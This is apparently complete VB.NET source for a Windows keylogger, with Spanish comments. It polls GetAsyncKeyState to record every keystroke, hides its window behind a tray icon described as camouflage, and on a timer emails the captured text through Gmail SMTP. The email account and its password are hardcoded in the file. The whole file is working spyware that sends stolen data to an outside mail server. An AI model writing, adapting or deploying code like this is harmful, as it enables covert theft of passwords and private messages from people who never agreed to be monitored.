﻿'Contiene clases que se utilizan para enviar correo electrónico a un servidor SMTP.
'(Simple Mail Transfer Protocol).
Imports System.Net.Mail
Public Class Form1

    'Variable donde se almacenan las capturas de teclado.
    Dim resultado As Short
    'Declaracion de la funcion, que realiza la captura de las pulsaciones del teclado.
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short


    'Configuración para capturar los textos ingresados
    Private Sub Capturador_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Capturador.Tick 'capturar
        'ciclo for
        For i = 1 To 255 'limites intervalo tecla virtual. 
            resultado = 0
            resultado = GetAsyncKeyState(i) 'Almacenar pulsaciones
            'sensibilidad
            If resultado = -32767 Then
                txtCaptura.Text = txtCaptura.Text + Chr(i) 'el resultdo lo muestra en el txtbox 
            End If
        Next i

    End Sub

    Private Sub ContadorDeEnvio_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ContadorDeEnvio.Tick
        Try
            'aqui es donde se declaran las variables para la conexion con el seervidor para poder hacer el envio del correo

            Dim mail As New MailMessage()
            Dim SmtpServer As New SmtpClient

            SmtpServer.Credentials = New Net.NetworkCredential("keilogger.prueba@gmail.com", "aiep1234")
            SmtpServer.Port = 587
            SmtpServer.Host = "smtp.gmail.com"
            SmtpServer.EnableSsl = True
            SmtpServer.EnableSsl = True
            mail.To.Add("keilogger.prueba@gmail.com") ' muestra a que mail sera enviado el correo de los datos capturados
            mail.From = New MailAddress("keilogger.prueba@gmail.com") ' muestra quien sera el correo que realizara el envio
            mail.Subject = "REGISTROS KEYLOGGER" ' sera el titulo o asunto del mail 
            mail.Body = txtCaptura.Text ' muestra la informacion capturada a traves del keylogger
            SmtpServer.Send(mail) ' Se envia el correo.
        Catch ex As Exception
            'Si no hay conección, se cierra la aplicacion.
            Me.Close()
        End Try
    End Sub

    'se crea icono para camuflar el keylogger en el equipo
    Private Sub IconoOculto_MouseDoubleClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles IconoOculto.MouseDoubleClick
        Me.Show()
        IconoOculto.Visible = False
        ContadorDeEnvio.Enabled = False
    End Sub

    Private Sub ContadorDeEnvio_Tick_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ContadorDeEnvio.Tick
        IconoOculto.Visible = True
        Me.Hide()
    End Sub

End Class
